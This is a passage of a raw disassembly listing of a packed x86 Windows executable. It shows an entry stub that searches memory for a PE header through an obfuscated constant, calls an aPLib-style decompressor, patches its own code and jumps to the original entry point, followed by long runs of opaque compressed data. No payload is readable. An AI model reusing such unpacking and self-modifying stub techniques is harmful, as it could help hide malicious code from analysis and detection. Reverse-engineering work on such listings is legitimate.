		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: start+57j
		mov	edi, eax


loc_513076:				; CODE XREF: start+1Bj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		db 3
		dd 326AB9C7h, 0CF030011h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: start+8j
		mov	eax, offset loc_57DB9C
		mov	ecx, offset word_51326A
		push	eax
		push	ecx
		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B+E3j
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_513265:				; CODE XREF: start:loc_513076j
					; start+9Dj
		jmp	loc_57DB9C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: start+77o
		dd 15334F4h, 1E33F2BBh,	38EF1AE1h, 22BE4701h, 0DD2CA592h
		dd 57770148h, 85702411h, 2247DEF7h, 795F8770h, 0D7081771h
		dd 0C298457Eh, 3691FF1Dh, 0E4FD8770h, 77235C11h, 90F1EBDDh
		dd 6552E055h, 61397473h, 70419C72h, 789F2E5Eh, 0D7F5102Eh
		dd 65685400h, 4964696Dh, 0ECBFD861h, 2103DC35h,	5BA7DF77h
		dd 6E7E5734h, 0AA110321h, 7B04D016h, 7838EB58h,	0EAAF0153h
		dd 87C58B1Ch, 8E860D4h,	0ED815D80h, 6143503h, 55958906h
		dd 0B5110D0Ch, 85081605h, 8307268Dh, 3808D9BDh,	8B0C7407h
		dd 0B8E222E8h, 0C27B3D72h, 244470C7h, 40213E1Ch, 45186A12h
		dd 6829A3E8h, 83741E9Ah, 0ADF9407h, 894B2507h, 42D5A40Ah
		dd 950214E9h
		db 0ECh, 0F4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		and	dword ptr [edx], 8B04F1EAh
		fcmovb	st, st(7)
		inc	ebp
		fmul	dword ptr [ebp+400E8C08h]
		mov	[eax], ecx
		cmp	dword ptr [esi+7Dh], 741D8063h
; ---------------------------------------------------------------------------
		dd 8203F0Fh, 455B8399h,	431286FFh, 3736E1EBh, 412661DCh
		dd 4004C2C9h, 7CC48146h, 4902FF68h, 363AE2h, 8B80458Dh
		dd 0C7085D0Ah, 50221985h, 0D10A8D50h, 1888C305h, 0B458941h
		dd 610BD81h, 0E375145Dh, 0BA8DA127h, 75606447h,	240E8A80h
		dd 805BF4BBh, 5437ABB8h, 0D07ED378h, 4B080F61h,	0AFD8F775h
		dd 464729C3h, 1546234Ah, 0D11542F9h, 0D0D08A61h, 0C5FEF03Ah
		dd 5FC45EEh, 1E04EB4Dh,	804646ADh, 0F729403Eh, 34B784BAh
		dd 0EB0C7D30h, 0F83EC87Fh, 42126D66h, 0F40E65F0h, 0C14A1040h
		dd 0A004F065h, 1CD1F8D6h, 0B0C203E0h, 8ADB3328h, 80301C0Eh
		dd 0A7266FBh, 77391E0Ah, 79EB9F05h, 61142233h, 0A3F0DFBh
		dd 1E08B766h, 0AC3A7AFh, 181A1056h, 0A0B7241h, 66F7746h
		dd 10C5124h, 0F4ECF05Dh, 8D7D8339h, 0CB07202h, 0A576C09Bh
		dd 2620AAB3h, 8D03E7F8h, 3BA800B5h, 820FFC55h, 0B0BD7854h
		dd 38DFAAE0h, 870BA28h,	7054B970h, 8020BDFCh, 0FFE0037h
		dd 0FA754947h, 6AE222B9h, 103BBEEh, 82F11231h, 0EC02B6EBh
		dd 0A186018Eh, 51071539h, 0FA36C165h, 268AE72Eh, 22E99F78h
		dd 0BC675900h, 0F081199Fh, 0FD11FAF2h, 6D4CE810h, 0EC007F7Fh
		dd 17164558h, 301B8CAEh, 6B385F82h, 2C3A5CA7h, 580186C3h
		dd 1C3D04E9h, 80C46021h, 5257D8Ah, 8CC4582h, 6482117h
		dd 6FD0C458h, 0F1689896h, 465C23FAh, 0CEC00318h, 0A810F027h
		dd 70CB8CDBh, 82670134h, 765B4E39h, 51B8F80Fh, 0D1043D1Fh
		dd 46983B1Dh, 75097542h, 48F7C02Eh, 9065E4ECh, 1830652h
		dd 8E05C584h, 0AE52B496h, 42A3C53h, 8C3329C2h, 6EE7B871h
		dd 0FFCCE40Eh, 7730812Bh, 341D2204h, 0F98406C1h, 0BC207533h
		dd 0ADD3F41h, 309CEFD9h, 0EC41CE02h, 0CC7F8C26h, 4043FF7Eh
		dd 0E9A9453Fh, 0C4624060h, 4D028C52h, 0AA821125h, 0AB3413B1h
		dd 1322845Ah, 0A144656h, 0BFEE825Eh, 4435A881h,	0B9FA8A7Dh
		dd 230513A2h, 0BC432897h, 59F57B0Ah, 5311F55Bh,	8C49F9Eh
		dd 16C4558Ah, 0C4534340h, 10180DF8h, 8B170381h,	8C671CFFh
		dd 0DA8DCADFh, 0EAD90DF3h, 0BF32C8D3h, 55786100h, 0E55EDF54h
		dd 0CB1A009Ah, 1EE3AB84h, 548E281h, 0A0BA0665h,	7390BEAh
		dd 7F0A6C07h, 58B05012h, 0CAFCCD99h, 4886101Bh,	52C22325h
		dd 44C45A0Eh, 42384D8Ah, 0DDC4520Ch, 5F57031h, 0CE86C821h
		dd 0F6A31C02h, 810A1C27h, 7384103Dh, 0EADA8C03h, 610F0069h
		dd 4AA2F082h, 810A02FFh, 26629CF4h, 51480145h, 0C45EC356h
		dd 186D8A91h, 5646881Ch, 10FAC400h, 183C7390h, 61AB3C6Dh
		dd 0EE468C28h, 12E92262h, 932D0800h, 6FE50D3Fh,	54C800DDh
		dd 0C97F0FA4h, 0EA535AB0h, 0DB7100AAh, 0DD43068Fh, 123E69Ch
		dd 8A625A10h, 0BC0D2E86h, 1A88A4BAh, 0ED065445h, 20225CDBh
		dd 0E9302D66h, 8D4B210Ch, 7E910F63h, 99A13123h,	98FD0316h
		dd 0A8250D76h, 4F1E00F4h, 0D61BF870h, 0C6023347h, 0B2C28249h
		dd 8D69036Bh, 8CBE44F5h, 0BF89C0D9h, 12EE78E7h,	3C66148h
		dd 0F99B7DF7h, 40F3B262h, 263E4DCCh, 1CC0FA8Ch,	5D994393h
		dd 1000DB8Bh, 3B965BF6h, 748AF18Ch, 84F21312h, 490441EAh
		dd 0D9731FB1h, 42FB49E9h, 7FCAC62Ch, 46148204h,	0B0FEAh
		dd 0AA33A3CFh, 0FBDE1636h, 148EBE00h, 23D26109h, 0AB6200AFh
		dd 0E6F425CBh, 87777885h, 2DC10D00h, 0C515BF28h, 0A4530073h
		dd 0EB469654h, 0CB00CF8Ch, 0CB6F5B8h, 0AE1950h,	4A6A3581h
		dd 4339BDFBh, 58B8D830h, 7083C7h, 0A90ED4CDh, 9B8B74D1h
		dd 957E5400h, 504672E6h, 0D54337A7h, 39357031h,	0A003D34h
		dd 0F7218406h, 0B04B9532h, 0D45F00F5h, 2E43E2AFh, 0AC00CB1Eh
		dd 59A9A7F5h, 0C00D8DB0h, 34A3B8C8h, 950046CCh,	891C1FB3h
		dd 39586656h, 991C96A4h, 84807FE4h, 571A1987h, 10C0A8B0h
		dd 3C6E49CEh, 7F5F78F5h, 0BB3700BCh, 1B1DC351h,	0C5005923h
		dd 26D9535Eh, 25DD03h, 34AB3D28h, 0CCE80C9Ch, 23029DF4h
		dd 0B63C276Eh, 24E371h,	0A7327BD9h, 10C8144Ah, 96CB460Eh
		dd 40009E73h, 6942630h,	9A3D008Eh, 2A5A0993h, 4663F7A7h
		dd 1F9D31h, 0C7AE2B39h,	3824FA7Eh, 6384CA00h, 56AF3B83h
		dd 210400B5h, 0A8DA0E4Eh, 5E7F5494h, 6A9D7B00h,	0C981C220h
		dd 4EA0102h, 0ED5BAB4Ch, 0FA188C4Fh, 183D6972h,	800E67F2h
		dd 6A7A24C5h, 0C986A81Dh, 0CC38F458h, 1488C1CAh, 0C46E8F68h
		dd 5300FD17h, 319BA33Fh, 0A843F5DAh, 0BB5C58h, 0E85F5B76h
		dd 1773CD75h, 0EB6D0700h, 6623A772h, 0BAC9018Dh, 2C299F51h
		dd 4585DC87h, 2DAD91C0h, 0C66A5484h, 0C95A49B0h, 0EDBEF910h
		dd 0F4C94406h, 16003158h, 43DE985Eh, 0C5D89E63h, 278CC908h
		dd 4F5C10A4h, 0CB306A74h, 0D396C9D7h, 0AB5500AAh, 0A78EEF54h
		dd 79072DD1h, 0F2B46A7Ah, 0BC068770h, 0D59D004Ah, 2672D430h
		dd 4602F59h, 7438FE59h,	0CC1B00B8h, 0AF186A70h,	760008BDh
		dd 39D8A151h, 0C3705B1h, 0C2CB1BD6h, 7F980879h,	0FE415F00h
		dd 34C8B313h, 3C0C036Ah, 0EEB6D101h, 88A5E000h,	2F54AE18h
		dd 6D71CF1Fh, 3B63E9A3h, 44F27BA0h, 0BC95700h, 210305DAh
		dd 9243030Eh, 750A8D4Fh, 0CECBB118h, 0E983079h,	360BE51Bh
		dd 755F84E0h, 103A52Ch,	4F210E29h, 0A169150Ch, 30009C4Bh
		dd 672F057h, 8700C2E4h,	88A7BC36h, 0C1F6B6F9h, 0BD7B2BA8h
		dd 29D04053h, 0DC18E9C7h, 0D4143A1h, 3E0E00A2h,	4BC03F5Eh
		dd 0E912A00Fh, 0BC1D4074h, 0E4103AC0h, 60DED961h, 7BA750DFh
		dd 0A1814151h, 2825F048h, 91EF36h, 5B68FD0h, 4DF3471Fh
		dd 0FA507C00h, 816BACADh, 0E39235D9h, 0B4202048h, 3D09DE3Fh
		dd 777A2h, 75299970h, 0B82B49F7h, 43306D00h, 3F123DF1h
		dd 0C2A73626h, 48E2B13Eh, 3C2094B4h, 51E84096h,	94192F2Ah
		dd 84689500h, 4D5C577Bh, 1C11FE15h, 40D10DFDh, 25B942F2h
		dd 853AF787h, 3DC8D0A9h, 6EA7FA12h, 1F34B448h, 2651302Fh
		dd 960013F6h, 0A84450CFh, 91B66F8h, 229D0853h, 8ECDAC20h
		dd 5C008A13h, 0F8DD2091h, 504BCFD3h, 94ACC67h, 598DC910h
		dd 10032091h, 0F820F50Bh, 571100E6h, 6E27B606h,	70026B9h
		dd 0C7851E42h, 0C12FD195h, 0BBF2C1A8h, 0F3C9001Dh, 2928A1BFh
		dd 0AFA67810h, 0C65F039h, 19213F0Bh, 0D2A30B4h,	3A8979D1h
		dd 2640D500h, 9DECA2B3h, 4429C125h, 0CC67397Ah,	470777CAh
		dd 0A0FBB40h, 3D30F0E0h, 80B72692h, 64E69588h, 0CEF8BD0Eh
		dd 2C8F1101h, 620ACC3Ah, 9D134702h, 6A51F328h, 0ACC25Ch
		dd 0D17B0BD8h, 0C509242h, 7784A7B3h, 0F5484558h, 0BF468394h
		dd 7280FED7h, 85C1C1DCh, 818849F9h, 0C2223148h,	2C2030E1h
		dd 4D99015Eh, 8FAA3F5Bh, 50440008h, 0FE301D39h,	681773h
		dd 0B3818633h, 50114B5h, 7DB2DE3Dh, 4A20C10Fh, 725000F5h
		dd 857E6CD5h, 863A0BA5h, 0E21200A0h, 0A7174ABEh, 20C30F2Ch
		dd 0F303BD3Fh, 47E016C9h, 603D7DBFh, 0C53C003Ah, 0DD7248F5h
		dd 993D3C89h, 95A31680h, 854906A8h, 86A2031Dh, 60FD5500h
		dd 1D9A2139h, 852F8C8Fh, 702618Dh, 0E1449D80h, 0F552B3BBh
		dd 9C7F100Ch, 7C760756h, 605DE069h, 997AD06h, 0C836D113h
		dd 65435442h, 0A4B08A64h, 0A0C6AC0Ah, 284A4E83h, 56A191C3h
		dd 0BAE42025h, 1D430092h, 5AB2CA95h, 0A701AEBBh, 0E5561A9Eh
		dd 3C22AF47h, 3D0AA804h, 21460030h, 4C43C071h, 4F81A4AFh
		dd 801B4DF5h, 320525C0h
		dd 636AD181h, 0CFCB98DAh, 29F72900h, 3D2A035Ch,	270E07D1h
		dd 46A74582h, 4CA06867h, 3330F75Dh, 0B0071066h,	0CCCB2848h
		dd 0A6060E64h, 0E6008E9Dh, 4490543h, 8DC5D91Ch,	0EC422752h
		dd 47F13AAh, 8A18C252h,	530B90A3h, 0E5005DFAh, 0D4439FBDh
		dd 4A22D469h, 0A2B42600h, 0E4673F30h, 0A8432854h, 8BC91840h
		dd 975D294Ch, 20099F26h, 0D90C84C8h, 0A6F8911h,	2C9D1CE4h
		dd 7B2D8F9Ch, 0F55A6000h, 3A24DCC3h, 0BE40D02Fh, 906904C9h
		dd 53060C39h, 7EA8C0BDh, 18A6FD3Ch, 0BA105849h,	183B0285h
		dd 7FADBE60h, 818DC090h, 6966340h, 0DF8FC9C3h, 0B0907813h
		dd 39E9EF6Ch, 85B42AEh,	677FD5FDh, 84AC388Eh, 1805308h
		dd 0ABBE413Ah, 314C2008h, 6E809499h, 0DBCF352h,	4B0B0C4Eh
		dd 8FA84C9Dh, 14738A2Ah, 0F6BA8601h, 0E95D3BB2h, 0E4DADC21h
		dd 807898C4h, 54D90914h, 63FCD85Eh, 72FA9C7h, 0CEB82101h
		dd 8502976Ch, 2E15F0C4h, 11300FA9h, 9F750B4Ch, 4BA0A087h
		dd 0ABDE385h, 934372D3h, 259064E4h, 1A271804h, 0B84C8010h
		dd 12A74385h, 0A5890740h, 4891E3A6h, 0C9B2E006h, 0C4A8D066h
		dd 4655F450h, 0D9279Dh,	887F3557h, 71BAD91Bh, 870624E6h
		dd 9422177h, 25B107D1h,	8B08063Ch, 3C94C98h, 41029676h
		dd 97B416D7h, 0CCDC60DEh, 32402E79h, 0A5043CACh, 0C025301Eh
		dd 107A88E8h, 0C18F2891h, 39FDC544h, 0CDA27481h, 3FDDA800h
		dd 946F9226h, 85899A8Ah, 44E1023Dh, 0E2854AB3h,	8460A96Eh
		dd 0C70118D4h, 6405958Dh, 0F420FA48h, 732F30C9h, 0D9B7771h
		dd 0A9271607h, 0E5214B8Dh, 0B0439DA1h, 1DF2FAh,	0F7C06039h
		dd 91726B30h, 99DEC168h, 0B0099560h, 0CB142904h, 0AD0088D8h
		dd 6774BD1Eh, 0E1280340h, 5C4E589h, 4EC78357h, 3638C105h
		dd 734984F8h, 54A40812h, 0CBEB4096h, 1F51C960h,	1FC16738h
		dd 804A6CA5h, 443E0BDCh, 0EF0CD147h, 418E4BA8h,	269E2A30h
		dd 2DEB14E8h, 0EE03FA78h, 0F79D8073h, 431ED991h, 0C0110D8Ch
		dd 0EE1A5835h, 8C823913h, 870042C9h, 0C0D5C68Dh, 2AF89589h
		dd 0D800C05Ch, 6A17C762h, 1A2D923h, 4067C5F7h, 22CB490Ah
		dd 7E3C00D8h, 0E76386Ch, 0C0B04C43h, 806D8DC2h,	0A23B2600h
		dd 12F0F8F5h, 201BA8A7h, 2639274h, 4C4EF680h, 0D9814CA0h
		dd 70036945h, 4902C3F6h, 403D26B6h, 78544624h, 2FE718B8h
		dd 37801106h, 0EDF6CA00h, 75CF1CB2h, 10DD06BEh,	592BC10Bh
		dd 0E48211Ah, 7F548031h, 1C950886h, 0FBA409Bh, 21184924h
		dd 2D69CB0Bh, 5C00039h,	4C432498h, 390238D3h, 0C11AD101h
		dd 53109C58h, 0C703BD55h, 6D679F5Dh, 5882D82Eh,	6B5F9A04h
		dd 8B038410h, 8F06A7DAh, 8DC5022h, 0C252C909h, 24C8E112h
		dd 0AB410016h, 0A540732Eh, 370094F9h, 8901B856h, 70C2DF52h
		dd 0FA73166h, 110C4AE0h, 0C872C30Bh, 1510344Ch,	0AB106062h
		dd 845C455Bh, 1CAB2177h, 44C527D4h, 0B2BD78C8h,	0DF51298h
		dd 0AABC421Dh, 4F00778Ah, 0B12CBD9Dh, 205B1D78h, 0C9853C04h
		dd 68198898h, 10BD1309h, 28205328h, 1053782Dh, 13A88404h
		dd 0CF567818h, 454C38Ah, 15F2C791h, 0CAC818CEh,	0EA00F508h
		dd 0BE6EC143h, 0A31E20F0h, 3C815D5h, 7E54F4AEh,	0B3E8C5B1h
		dd 0C4DEBFFh, 48D12D4h,	0C4C60087h, 6D8B2068h, 0C0EC8C5Ch
		dd 0B55B2892h, 0C59101DAh, 7177E42Fh, 0F9BBD8A1h, 0F8CC0230h
		dd 6FCA43A7h, 9687806Fh, 74783A6h, 4A261005h, 741EC4CCh
		dd 879808B0h, 0A5F3F50Ah, 5000D813h, 8D4D5C4Ah,	4989C69Bh
		dd 0D301E140h, 43D60E28h, 31E02658h, 8130A053h,	86E426C9h
		dd 0F8A4BC44h, 69CA638h, 0C81FEB9Fh, 0AE4F4D15h, 852F1808h
		dd 69F18F91h, 48441E0h,	87C4E48Dh, 83F590C4h, 43B0DF41h
		dd 7479804Bh, 0F545ED13h, 2821D497h, 2854A848h,	0AD25154Fh
		dd 44C186Bh, 45E0A87Fh,	31B23237h, 1E205170h, 367B81h
		dd 54C4AEA7h, 1C43EE15h, 3914200Ch, 0C901D07Fh,	2884A741h
		dd 88B05109h, 0FAEF090h, 397DB30Ah, 0C742F89Dh,	0C44C8082h
		dd 0A034DEA1h, 37CB7EA0h, 0A0500115h, 0F1D31F5Dh, 0A2E84700h
		dd 223DBD6h, 78AD00A9h,	5653614h, 0AE00EAB8h, 0ACBA6061h
		dd 7024442Ah, 81780352h, 0FCE820BFh, 0C8AAE1A8h, 0B70071E2h
		dd 6F79C0B9h, 64123Bh, 6BA89F11h, 1EACA554h, 0FE402E60h
		dd 80C09072h, 0F80081E2h, 71C3DE9Bh, 0A9A64Dh, 282F5E64h
		dd 0D3B6B809h, 0A5707601h, 234469BBh, 7291F0h, 0DF20929Ch
		dd 9BF7B2E8h, 77C3D412h, 46AC824h, 0ECF854BFh, 0F1B3FB0Fh
		dd 0D8001291h, 6CACBEB2h, 6D37015Eh, 0A2AFB64Ah, 0A5B3D828h
		dd 0CD2E6026h, 8B779500h, 60C46EE4h, 0D6AF40FCh, 0B47B3A16h
		dd 5F64B600h, 451B2826h, 6BC003BEh, 7D8EFA68h, 896506B8h
		dd 0F88C0E08h, 0EA4D0220h, 0B600D7A8h, 77ADE4h,	7D283B61h
		dd 76A6A3B9h, 0A1F85C07h, 0E0EE6A60h, 0BD9B0E85h, 0B6C3006Eh
		dd 0C194EA5Fh, 0B8042116h, 537793AFh, 942E38C5h, 0E8EA01BBh
		dd 0D8AEF648h, 0B770F4h, 6164A3E4h, 0BD02283Ch,	667DD4E2h
		dd 2A92B31Dh, 7753A0Eh,	7380CF79h, 250FCE5h, 0DF93A2EFh
		dd 0A0C00237h, 78005E7Ah, 86B31177h, 2163A9h, 625A8DDEh
		dd 7C9B6134h, 40E4C330h, 40F9B2FAh, 2001DA1h, 6764C0A7h
		dd 7D056D78h, 6FFCB1h, 6692B713h, 9B65252Eh, 390093Ch
		dd 0B2EDAF74h, 0C693C8E5h, 66B34023h, 8C7A672Ch, 5E00D4D5h
		dd 81F1EB62h, 0FAC1AAFBh, 0B8B2001Eh, 7A136991h, 0B6203628h
		dd 0A64300A7h, 38446792h, 7500CA6Dh, 0E9209390h, 0EF4CF1h
		dd 37D7E0E5h, 61A2B149h, 65245300h, 0A5B07E06h,	0BB13006Ch
		dd 345471A1h, 7800DDCEh, 0AF6DFF9Bh, 0F8B3FDh, 2ECAD2A4h
		dd 6EA9E146h, 28371400h, 0B9C0B538h, 137375h, 25532AB6h
		dd 8C768B61h, 0C2AFE0FBh, 96F44900h, 4E3ADC93h,	7CEE1DA6h
		dd 162B8061h, 76A7BA7Eh, 1AC6659h, 9C533C55h, 8849C17Ch
		dd 0B0FF041Bh, 4CC91h, 233B6BFh, 38DFB568h, 10B4410Ah
		dd 80553476h, 23AABC09h, 0B4005D66h, 0B8BF3A29h, 2B74716Fh
		dd 861C14E3h, 106A83CBh, 0B2B64E02h, 0F0295BA5h, 868703DCh
		dd 0BF1D5328h, 0EF121000h, 0F18F2D1Ah, 0D85B3Eh, 0C701B380h
		dd 0A5EE3F2h, 57243401h, 409F9544h, 4B71B3FBh, 0D28FBAC8h
		dd 0DDB37205h, 1C62D89Dh, 0B4F80555h, 9200C1A8h, 2A5CD463h
		dd 0EB0A5F39h, 5928203Ah, 7603A17Eh, 2EE0A84Eh,	0F140D041h
		dd 276B0788h, 4C9E1994h, 670031E9h, 5F62CFB5h, 3BB8A8E0h
		dd 0CB98B30Ch, 740A1D4h, 3F5AFC00h, 0ED7F53BDh,	9B593FA1h
		dd 8DD53080h, 3E48C0CDh, 45D89E61h, 0F6DBDFC8h,	9D740061h
		dd 9CAB0A4Fh, 935B4A54h, 211BA00Ch, 4F95006Dh, 822BD8FCh
		dd 0C90113AFh, 7BB097E3h, 3C7C6665h, 0A331433Ch, 43B14E91h
		dd 42FC0790h, 0A259CA0Bh, 0FA4313A8h, 3F3004B0h, 2174B92h
		dd 56858D4Dh, 14853F04h, 4747A897h, 0D05B66A8h,	0E4673DD1h
		dd 6FC5741Ah, 0FC28DA08h, 1EE443h, 92B9E2C4h, 0B57F1FCCh
		dd 7E49E700h, 302F8082h, 0B424970Fh, 0C3404348h, 0FB26E858h
		dd 7A650202h, 0C70AA74Ah, 0FA811854h, 21162998h, 833854DAh
		dd 0A883A2E2h, 5CED8Ch,	3D982DE4h, 0FE0A4AA3h, 2E843EADh
		dd 0F1E6FE8Fh, 48592020h, 4E06C9BEh, 62938D4Bh,	0D78080E8h
		dd 0F6718016h, 960744EAh, 0F72176E2h, 4ADF6380h, 6C109F67h
		dd 0C928530Bh, 8575A061h
		dd 688BF224h, 3FC83B18h, 5D4E00D9h, 5F4D4428h, 390A37D5h
		dd 381E6D9Dh, 731F08h, 9342B445h, 70016B35h, 4330E44Bh
		dd 0E450C5AFh, 7BB86A2h, 25A37921h, 1F5E2A7h, 26D9B048h
		dd 99D02C9Fh, 93C87B46h, 7A9F1F2Ch, 888CAB91h, 97538018h
		dd 655EDF4Fh, 52F47400h, 93583E44h, 29A13B26h, 0D901127Ah
		dd 46E0B022h, 0F925C678h, 1EC468F2h, 1FD90FBBh,	2DE1262Bh
		dd 9254ED5Bh, 200829A0h, 557C093h, 18F33DD5h, 5F098859h
		dd 0E08A0502h, 5E654BA6h, 0C9B30590h, 0A4B05223h, 4310ABB8h
		dd 0E0134BADh, 1834F21Ch, 77806B0Ah, 519D000Eh,	1F19B683h
		dd 0F500133Bh, 3DD646A0h, 20BE47Fh, 0FD4FD4FBh,	784462E5h
		dd 55029546h, 573DD705h, 7105A31h, 1704055Dh, 6533AF75h
		dd 811074EDh, 2112762Eh, 585E7043h, 58E2F9C9h, 40AD1448h
		dd 5C40F40Dh, 4B570447h, 0B8CF626Ah, 0A80E922Ch, 9C4850FDh
		dd 0C944C63Eh, 8902F430h, 4D4B2B1Bh, 0D602040Dh, 197BAB26h
		dd 0D020D054h, 108F1C82h, 4F9A8031h, 87B4AB13h,	4F926A00h
		dd 69E8E0h, 1ADE4B0Eh, 48F5058Ah, 5C401601h, 2B8D9D4Dh
		dd 1FE06C24h, 49C511A7h, 40827902h, 5719677Fh, 0C38859B2h
		dd 114F9930h, 88BCAB0Eh, 9169801Fh, 96124D4Fh, 2EF1810Ch
		dd 9856D0C9h, 29584h, 0F80559B9h, 0E8025089h, 55C3098h
		dd 6F3DD811h, 6804F88h,	0FBFC0544h, 0AE95043Bh,	81529EA2h
		dd 0D2D6B4h, 0C564DB4h,	1093AA3Ah, 0B10496D8h, 0E08AD0Fh
		dd 5C88208Eh, 89282EC2h, 44128AC3h, 1D932C80h, 5E9EA52h
		dd 9F45BBC8h, 58A454D7h, 0B7066D12h, 0C095249Ch, 0B0204313h
		dd 10D70C8h, 2819FEDh, 2A89C410h, 211DD00Ch, 0ED150EC9h
		dd 9F27772Fh, 0B048CC0Bh, 11589504h, 0F8300Fh, 0F8F3D3h
		dd 21D4D0EEh, 9842B315h, 0F2723E3Ch, 743077A4h,	0E5031546h
		dd 0EEF7127Ah, 3FFE1E91h, 69FA5C20h, 0F1ED3873h, 75A1A300h
		dd 0D63F1221h, 29FD3909h, 60A8F008h, 0C9E73120h, 1175F81Fh
